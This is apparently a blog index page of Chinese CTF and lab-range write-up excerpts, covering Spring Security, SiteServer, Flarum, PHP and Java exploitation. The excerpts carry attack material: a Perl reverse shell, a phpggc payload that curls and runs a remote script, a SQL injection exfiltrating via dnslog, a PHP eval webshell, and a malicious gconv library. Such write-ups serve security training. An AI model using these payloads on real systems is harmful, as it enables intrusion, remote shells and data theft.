/favicon.jpg

Lxxx

Just a novice

2023浙江大学生省赛初赛 secObj

题目信息 本题涉及知识点:Java代码审计、Spring Security权限验证绕过、HotSwappableTargetSource绕过黑名单、SignedObject二次反序列化 题目类型:CTF 题目名称:2023浙江大学生省赛初赛 secObj 题目镜像:ccr.ccs.tencentyun.com/lxxxin/public:zjctf2023_secobj 内部端口:80 题目附件:6ZO+5o6lOiBodHRwczovL3Bhbi5iYWlkdS5jb20vcy8xTlBBUlhLLWNrWGNTQU9QVHlybGxLUT9wd2Q9ZmxhZyDmj5Dlj5bnoIE6IGZsYWc=(自行Base64解码) 启动脚本 请确保本地安装了docker命令,并且确保12345端口未被占用,然后以root权限运行下方命令,运行成功后会返回一串16进制字符串(此为容器ID),表示容器运行成功,接着打开Chrome或者Firefox浏览器,用浏览器访问12345端口 1 docker run -it -d -p 12345:80 -e FLAG=flag{8382843b-d3e8-72fc-6625-ba5269953b23} ccr.ccs.tencentyun.com/lxxxin/public:zjctf2023_secobj WriteUp Spring Security权限绕过分析 题目给了附件,反编译打开,整体的目录结构如下: 用了Spring Security做权限验证 存在AdminController和IndexController 自定义了一个ObjectInputStream 先看pom依赖,pom依赖挺正常的,没有非常特殊的依赖: 再看AdminController,很明显存在一个反序列化入口 反序列化入口在/admin路由下,由于这里用了Spring Security做权限验证,所以需要尝试绕过权限验证 观察SecurityConfig类: 第一个configure做了访问控制 第二个configure设置了admin的密码,不过admin的密码是uuid随机生成的 这里的访问控制链如下: 1 ((HttpSecurity)((FormLoginConfigurer)((HttpSecurity)((ExpressionUrlAuthorizationConfigurer.AuthorizedUrl)((ExpressionUrlAuthorizationConfigurer.AuthorizedUrl)http.authorizeRequests().antMatchers(new String[]{"/admin/*"})).hasRole("ADMIN").anyRequest()).permitAll().and()).formLogin().defaultSuccessUrl("/admin/user/hello")).and()).logout().logoutSuccessUrl("/login"); 由于反编译存在类型转换,原本链式的访问控制被编译的很难看,这里稍作美化处理: 本意是想让拥有ADMIN角色的人能访问/admin/*下的资源 默认登录成功的路由为/admin/user/hello 登出后跳转到/login 1 2 3 4 5 6 http.authorizeRequests() .antMatchers(new String[]{"/admin/*"}).hasRole("ADMIN").anyRequest().permitAll() .and() .formLogin().defaultSuccessUrl("/admin/user/hello")) .and() .logout().logoutSuccessUrl("/login"); 这里其实就存在绕过: /admin/*实际上只匹配一层资源,例如:能匹配到/admin/a,能匹配到/admin/a.js,但不能匹配到/admin/a/b 如果想要匹配/admin/a/b,就需要写成/admin/**的形式 这里反序列化入口位于/admin/user/readObj,但用了/admin/*来匹配,显然是匹配不到的 这里的绕过和Spring Security无关,这种匹配模式就是这么设计的,如果在生产环境中遇到,就是开发者的问题 所以,在不添加任何参数、不携带任何SESSION的情况下,是可以直接访问到/admin/user/hello的 那么问题来了,为什么在直接POST去访问/admin/user/readObj却不行了呢? 需要注意的是,这里返回的是403 Forbidden,并不是401 Unauthorized,所以权限判断实际上是已经过了,返回403的原因实际上是Spring Security默认会开启csrf验证,防止csrf攻击,实际上在开发的时候,很多培训视频会上来就把Spring Security的csrf验证关掉(如下方代码所示):

春秋云镜 - TunnelX

外网信息搜集打SiteServer v16.5数据库 外网信息搜集: 80端口有个SiteServer CMS版本为v16.5 2121端口有个允许匿名登录的FTP服务,该FTP服务下有个secret.7z 下载secret.7z(这里Mac下载不下来,用Linux的ftp可以下载) 1 2 3 4 ftp 39.99.238.69 2121 anonymous dir get secret.7z 下载下来之后,secret.7z打开需要密码,先将其转换为john格式,然后再用john去爆破密码(这里完整跑完john需要48个小时,但密码的位置比较靠前,大约1分钟左右就能跑出来了) 密码为13131313,注意要用7z命令去解压,Mac解压输入密码会失败 1 2 3 7z2john secret.7z >1.txt john 1.txt --wordlist=/usr/share/wordlists/rockyou.txt 7z x secret.7z 解压之后有一个secret.txt,给个一个uuid,这是SiteServer CMS的API密钥 1 7z x secret.7z 80端口有SiteServer v16.5服务,该版本后台存在SQL注入: https://github.com/siteserver/cms/issues/3237 SiteServer CMS提供了使用Header的API认证方式代替账号密码登录,因此,我们拥有了API之后,可以直接调用后台的接口进而造成SQL注入 https://sscms.com/docs/v6/api/guide/authentication.html#%E4%BD%BF%E7%94%A8-api-%E5%AF%86%E9%92%A5%E8%BF%9B%E8%A1%8C%E8%BA%AB%E4%BB%BD%E8%AE%A4%E8%AF%81 精简的后台SQL注入请求包如下,后面的内容都从这个数据包展开: 1 2 3 4 5 6 7 POST /api/pages/cms/libraryText/list HTTP/1.1 Host: 39.99.238.209 X-SS-API-KEY: e7d41890-5742-48f0-9f3c-1393db541fc7 Content-Type: application/json Content-Length: 127 {"siteId":1,"keyword":"';select sys_eval('curl `whoami`.xwqn3w.dnslog.cn')-- ","groupId":0,"page":1,"perPage":24} 利用DNS隧道反弹shell和代理 经过测试,这里Web服务和MySQL数据库是分开的,并且MySQL数据库的TCP是不出网的,但DNS出网(可以用curl外带部分命令结果),所以我们需要搭建DNS隧道(而不是TCP隧道) 此时我们只能执行SQL语句,如果想要执行命令,可以采用加载udf.so的方式执行命令,由于加载udf.so的数据包比较大,这里就不在文中贴出来了,脚本已经放在了Github上:

春秋云镜 - Flarum

外网Flarum“弱”口令后台Phar打点 开局一个登录框,卡了3小时 根据主页提示,用户名为administrator,邮箱为administrator@xiaorang.lab 这里直接给出密码,用rockyou.txt跑密码 administrator、1chris 进入后台,这里外网用的是Flarum框架,这个框架去年P牛发过文章,是一个后台RCE的洞: https://mp.weixin.qq.com/s/EqEyEDKpzxS5BYA_t74p9A 功能点在编辑CSS处 原理简单来说是利用less.php编译Less,在编译的过程中,利用@import (inline)和data伪协议将文件写入到assets/forum.css中,再用data-uri('phar://./assets/forum.css')触发phar反序列化实现命令执行 这里的反序列化链由phpggc生成: 这里反弹shell需要一点小技巧,我这里的打法是:在29999端口的HTTP服务里放一个1.txt,然后在39999端口监听准备拿shell 1 perl -e 'use Socket;$i="1.1.1.1";$p=39999;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' 再用phpggc生成 1 php phpggc -p tar -b Monolog/RCE6 system "curl 1.1.1.1:29999/1.txt|sh" payload如下: 1 @import (inline) 'data:text/css;base64,dGVzdC50eHQAAAAAAA......'; 访问一下,phar内容成功写入 然后再编辑一下,用data-uri做phar反序列化触发命令执行 1 2 3 .test { content: data-uri("phar://./assets/forum.css"); } 拿shell 接下来就是提权部分,这题没法用suid提权,用capabilities提权,查找设置了capabilities可执行文件 1 getcap -r / 2>/dev/null 发现openssl可以利用: 用openssl生成证书 启动web服务监听在8080端口 1 2 openssl req -x509 -newkey rsa:2048 -keyout /tmp/key.pem -out /tmp/cert.pem -days 365 -nodes openssl s_server -key /tmp/key.

2023NepCTF Ez_include

本题不会做镜像,太绕了,各种知识点杂糅在一起,期待Nep公开镜像( 题目信息 题目名称:2023NepCTF Ez_include 题目描述: Apache2每五分钟自动重启,不会影响做题过程 部署题目需要一段时间,请师傅们耐心等待 (若超过10分钟仍然无法访问,请销毁容器再重新开启) 可以参考:https://tttang.com/archive/1395/ WriteUp 本题参考了其他师傅的解,目前在绕过disable_functions部分看到两种打法,分别是利用GCONV和LD_PRELOAD环境变量绕disable_functions 本题大概思路如下: 利用PHP的filter伪协议完成LFI到RCE 利用DOMDocument原生类写入文件绕过disable_functions 环境变量提权拿flag GCONV 首先打开题目,点击主页的按钮,有个link参数,比较明显存在文件包含 这里后端做了个拼接,传入/tmp/resources/4会变成/tmp/resources/4.txt 用php_filter_chain_generator生成一段LFI2RCE的神秘字符串(具体原理这里不阐述,简单来说就是利用Base64和UTF8转UTF7特性拼凑出一段webshell,进而包含webshell实现命令执行) https://github.com/synacktiv/php_filter_chain_generator 1 python3 php_filter_chain_generator.py --chain "<?php eval(\$_POST[1]);?>" 接着将上方生成的字符串传给link参数,一句话木马的密码为1,执行命令即可,注意这里有disable_functions,所以先执行phpinfo查看disable_functions和disable_classes有哪些 disable_functions和disable_classes内容分别如下 1 2 fpassthru,fgetss,fgets,fopen,fread,show_souce,stream_socket_client,fsockopen,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail,error_log,debug_backtrace,debug_print_backtrace,gc_collect_cycles,array_merge_recursive,pfsockopen,readfile,file_get_contents,file_put_contents,fputs,fwrite,delete,rmdir,rename,chgrp,chmod,chown,copy,chdir,mkdir,file,chroot,assert,dl,move_upload_file,sysmlink,readlink,curl_init,curl_exec Exception,SplDoublyLinkedList,Error,ErrorException,ArgumentCountError,ArithmeticError,AssertionError,DivisionByZeroError,CompileError,ParseError,TypeError,ValueError,UnhandledMatchError,ClosedGeneratorException,LogicException,BadFunctionCallException,BadMethodCallException,DomainException,InvalidArgumentException,LengthException,OutOfRangeException,PharException,ReflectionException,RuntimeException,OutOfBoundsException,OverflowException,PDOException,RangeException,UnderflowException,UnexpectedValueException,JsonException,SplFileObject,SodiumException 同理,还发现了题目环境设置了open_basedir 这部分蚁剑是可以正常连接的 这里面有一个hint.ini,是php.ini配置, 其中/tmp目录在蚁剑是可以访问的,直接在红色方框处输入路径读取即可 接下来就是绕过disable_functions,这里用GCONV绕过disable_functions,完整打法如下: 为了后面的数据包简便,这里先利用前面的马子写Webshell到/tmp/test.txt,由于file_put_contents等函数都被过滤了,这里利用DOMDocument原生类写文件(注意URL编码) 1 2 3 4 1=$f="/tmp/test.txt"; $d=new DOMDocument(); $d->loadHTML("PD9waHAgaW5pX3NldCgnZGlzcGxheV9lcnJvcnMnLCdPbicpO2V2YWwoJF9QT1NUWzFdKTs%2FPg%3D%3D"); $d->saveHtmlFile("php://filter/string.strip_tags|convert.base64-decode/resource=$f"); 写完之后,可以在蚁剑看看文件大小是否正确 再写一个payload.c,在本地将其编译成恶意动态链接库,该恶意动态链接库会执行1.sh文件内容(这种打法比较稳定,我本地在gconv_init()中直接弹shell是可以的,题目远程不行,估计是环境限制的比较多) 1 2 3 4 5 6 7 8 9 10 #include <stdio.h> #include <stdlib.h> void gconv() {} void gconv_init() { puts("pwned"); system("chmod 777 /tmp/1.

2023CISCN初赛 DebugSer

镜像信息 题目名称:2023CISCN初赛DebugSer docker镜像:lxxxin/ciscn2023_deserbug flag信息: /flag 内部端口:8888 注意: 部署时,容器至少需要256MB的运行内存,否则容器将无法启动 题目描述: cn.hutool.json.JSONObject.put->com.app.Myexpect#getAnyexcept 容器启动可能需要一两分钟,请耐心等待! 附件: deserbug_4eafaf14e8f7df3b534ba30ed1881ff0.zip 启动脚本 1 docker run -it -d -p 12345:8888 -e FLAG=flag{8382843b-d3e8-72fc-6625-ba5269953b23} lxxxin/ciscn2023_deserbug WriteUp 这题考察cc链的改造,先下载附件分析: Testapp类中直接对传入的bugstr参数base64解码并反序列化,并且还会调用toString()方法 题目用的是CC3.2.2依赖,在CC3.2.2及以后,对一些不安全的Java类的序列化增加了开关,默认为关闭状态,比如CC6要用到的InvokerTransformer类就被干掉了 不过题目给了一个Myexcept类,注意getAnyexcept方法可以实例化一个单参数的类 这一段实例化TrAXFilter类: 因此sink点就是TemplatesImpl类 再拼接一下中间的gadget,题目给了下方的提示: 1 cn.hutool.json.JSONObject.put->com.app.Myexpect#getAnyexcept 那接下来就是要找调用put的地方,其中LazyMap#get方法可以调用put 再就是找调用get的地方,要求调用get的只有一个参数,并且是Map类的实现类 使用Tabby寻找的语法如下(From atao): match (source:Method {NAME:"toString"}) where source.CLASSNAME=~"org.apache.commons.collections.*" match (sink:Method {NAME:"get", CLASSNAME:"java.util.Map"}) where sink.PARAMETER_SIZE=1 with source, collect(sink) as sinks call tabby.algo.findJavaGadget(source, sinks, 3, false, true) yield path return path 最终找到的类是TiedMapEntry 堆栈信息如下: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 exec:347, Runtime (java.

2023CISCN初赛 gosession

镜像信息 题目名称:2023CISCN初赛gosession docker镜像:lxxxin/ciscn2023_gosession flag信息: 根目录下 内部端口:80 注意: 部署时,容器至少需要256MB的运行内存,否则容器将无法启动 题目描述: ctfer按照官方文档的模板编写了代码,但是好像哪里出了问题。 容器启动可能需要一两分钟,请耐心等待! 附件: go_session_4c91af79780fc70a4d21b272ba3a371c.zip 启动脚本 1 docker run -it -d -p 12345:80 -e FLAG=flag{8382843b-d3e8-72fc-6625-ba5269953b23} lxxxin/ciscn2023_gosession WriteUp 下载附件,放到Goland中分析,题目一共三个路由: Index Admin Flask 先看Index路由,Index路由内容很简单,直接赋了个session,session中的name值为guest,这里发现session的key是通过SESSION_KEY环境变量获取的 再看Admin路由: 这里对session做了验证,需要name为admin 这里用pongo2做模板渲染,存在模板渲染漏洞 接着看Flask路由: Flask路由会请求靶机里5000端口服务,并把请求页面回显 经过测试,得到以下结论: 5000端口为python的flask服务,开启了debug模式,源码不存在ssti漏洞 session默认key为空,可以直接伪造admin用户 flask源码可以通过让flask报错获取: 1 /flask?name=/ 源码如下: 本题正确思路如下: 由于session默认key为空,伪造admin用户后可以调用Admin路由 Admin路由中存在pongo2模板注入漏洞,pongo2模板语法可以参考Django模板语法 通过Django模板注入覆盖/app/server.py文件,由于python服务是可以“热部署”的,因此覆盖恶意文件后,再通过Flask路由调用即可RCE 再说一下错误思路: 错误思路是利用pongo2模板语法读取算PIN所需的文件,计算出PIN后通过Flask路由请求/console实现RCE,但是想在/console中执行命令仅通过GET传参是无法完成验证的,并且后续执行代码请求都需要携带Cookie验证,所以这条路走不通 首先获取一下admin用户的session: 把下方代码加到route里,访问即可拿到伪造后的session 1 2 3 4 5 6 func Key(c *gin.Context) { session, _ := store.Get(c.Request, "session-name") session.Values["name"] = "admin" session.Save(c.Request, c.Writer) c.

2023SCTF fumo_backdoor

题目信息 题目名称:2023SCTF fumo_backdoor flag信息: /flag 内部端口:80 题目描述: 附件: _media_file_task_96a478b7-b206-403e-8430-886186a82097.zip 启动脚本 解压附件之后,进入文件夹,执行以下命令: 1 docker-compose up -d 或者用docker起也可以(比赛环境为不出网,建议还是docker-compose起,这题如果出网的话可以用Imagick类出网非预期RCE了) 1 docker run -it -d -p 12345:80 -e FLAG=flag{8382843b-d3e8-72fc-6625-ba5269953b23} lxxxin/sctf2023_fumobackdoor WriteUp 下载附件,审计源码,题目是不出网的 题目开了imagick扩展,/var/www/html目录不可写 再审计源代码,一共有三个功能点: 反序列化 删除/tmp目录下的所有内容(这算是题目的提示了) 高亮当前文件 再看题目给的后门类: 其实这里sink点有两个,一个是readfile读取文件,另一个是new $a($b)格式的代码 对于new $a($b)格式的代码,如果题目出网并且web目录可写的话,是可以直接RCE的,但是本题既不出网,web目录又不可写 因此题目的sink点就在readfile了,那么如何触发__sleep()魔术方法呢,__sleep魔术方法会在序列化的时候被调用 所以整个攻击流程如下: 首先把/tmp目录清空: 1 2 GET /?cmd=rm HTTP/1.1 Host: 1.1.1.1:49338 再制作一个PPM图片,选择PPM的原因是PPM末尾允许添加一些脏数据,并且该脏数据也不会被imagick抹去 session的内容生成方式如下: 这里我们设置path属性为/tmp/res路径,这个路径就是/flag复制之后的路径 重点看16行,这里的脏数据的数量其实是有一定要求的,在第12行设置了PPM图片的长和宽,即9*9像素,这里的脏数据+序列化数据的数量需要大于等于3*9*9且小于等于4*9*9(这里3和4可以简单理解为每个像素所占用的字节),具体原理不深究了,这里就当做记个结论(如果有其他想法,可以随时私信讨论) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?

2023SCTF pypyp

题目信息 题目名称:2023SCTF pypyp? 题目镜像:lxxxin/sctf2023_pypyp flag信息: /flag(需要SUID提权) 内部端口:80 题目描述:a piece of cake but hard work。per 5 min restart. pay attention to /app/app.py 启动脚本 1 docker run -it -d -p 12345:80 -e FLAG=flag{8382843b-d3e8-72fc-6625-ba5269953b23} lxxxin/sctf2023_pypyp WriteUp 打开题目显示没有session 可以利用SESSION_UPLOAD_PROGRESS创建一个session: 下方的proxies为BurpSuite的代理地址 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import requests url = "http://1.1.1.1:49343/" data = { "PHP_SESSION_UPLOAD_PROGRESS":"a" } file = { "file": ("a","a") } cookies = { "PHPSESSID": "a" } proxies = { "http": "127.

2023巅峰极客 BabyURL

题目信息 题目名称:2023巅峰极客 BabyURL 题目镜像:lxxxin/dfjk2023_babyurl 内部端口:8080 题目附件: attachment.zip 启动脚本 1 docker run -it -d -p 12345:8080 -e FLAG=flag{8382843b-d3e8-72fc-6625-ba5269953b23} lxxxin/dfjk2023_babyurl WriteUp SignedObject二次反序列化 该打法仅能列目录读文件,比赛时可以直接读文件获得flag,本镜像的flag需要suid提权后才能读到,如果仅想复现该打法,进入容器给/flag赋读权限即可 下载附件,反编译,文件 结构如下: 在IndexController中的/hack路由中有反序列化入口 这里反序列化是自定义对象输入流,把URLVisiter和URLHelper过滤掉了 /file路由会读取/tmp/file的内容并返回 在URLHelper类中有个反序列化入口 由于URLHelper类被过滤了,无法直接反序列化,不过可以二次反序列化 SignObject#getObject会触发二次反序列化 接下来问题就转换成如何调用SignObject#getObject 这个考点在2023阿里云CTF的Bypassit1有考察过 2023阿里云CTF Bypassit1 本地重写一下BaseJsonNode�类,把writeReplace方法删除掉才能正常反序列化 完整的PoC如下: 在URLHelper中会对传入的url做校验,不过用的是myurl.startsWith("file")方式校验,可以通过大写绕过 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 import com.

2023闽盾杯初赛 babyja

题目信息 题目名称:2023闽盾杯初赛babyja docker镜像:lxxxin/mdb2023_babyja flag信息: /flag.txt 内部端口:8080 附件: 关卡4.zip 启动脚本 1 docker run -it -d -p 12345:8080 -e FLAG=flag{8382843b-d3e8-72fc-6625-ba5269953b23} lxxxin/mdb2023_babyja WriteUp 下载附件,反编译 先看依赖,用了vaadin、fastjson、c3p0、mysql-jdbc,这里用的每个组件都是存在漏洞的 再看控制器部分,其中/admin/{name}路由存在JSON解析,需要传入data参数(参数值需base64编码),这里就是入口点了 在JSON解析前,会在SecurityCheck类中做匹配: 题目用的fastjson是1.2.24版本(算是比较旧的版本了),过滤了TemplatesImpl、JdbcRowSetImpl等常用的sink点 不过题目还提供了MyBean类,MyBean#getConnection会做JDBC连接 由于题目使用的fastjson1.2.24,无法直接通过parse调用getter方法,在fastjson1.2.47以后可以通过parse调用getter方法(如果要调用开发者自定义类的getter需要开启AutoTypeSupport选项,挺鸡肋的) 不过题目还用了一个vaadin依赖,该依赖也存在反序列化漏洞,可以反射调用任意类的所有getter方法,具体vaadin反序列化流程参考su18👴🏻的博客: Java 反序列化漏洞(五) - ROME/BeanShell/C3P0/Clojure/Click/Vaadin | 素十八 题目还用了SpringSecurity对/admin下的路由做权限验证,不过账号密码硬编码在代码中,可以直接登录使用: 整理一下,完整的攻击思路如下: 首先用账号密码登录到后台 访问/admin/路由,POST传入data参数 服务端对传入的data参数base64解码,并调用fastjson的parse解析 题目中存在fastjson1.2.24依赖,这里我们用fastjson1.2.47的payload打c3p0,通常fastjson打c3p0都是打jndi,不过题目过滤掉了jndi,这里打c3p0的WrapperConnectionPoolDataSource,也就是打HEX序列化字节加载器二次反序列化 二次反序列化内容是vaadin依赖打MyBean#getConnection触发JDBC连接读目录,再读文件内容 完整的EXP如下: 虽然题目过滤了BadAttributeValueExpException字符串,但是没有过滤其十六进制值,因此可以使用BadAttributeValueExpException类,题目黑名单过滤的54656D706C61746573496D706C是TemplatesImpl类 user=fileread_file:///.用于列出/目录下所有文件,具体用法可参考:https://github.com/fnmsd/MySQL_Fake_Server 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 import javax.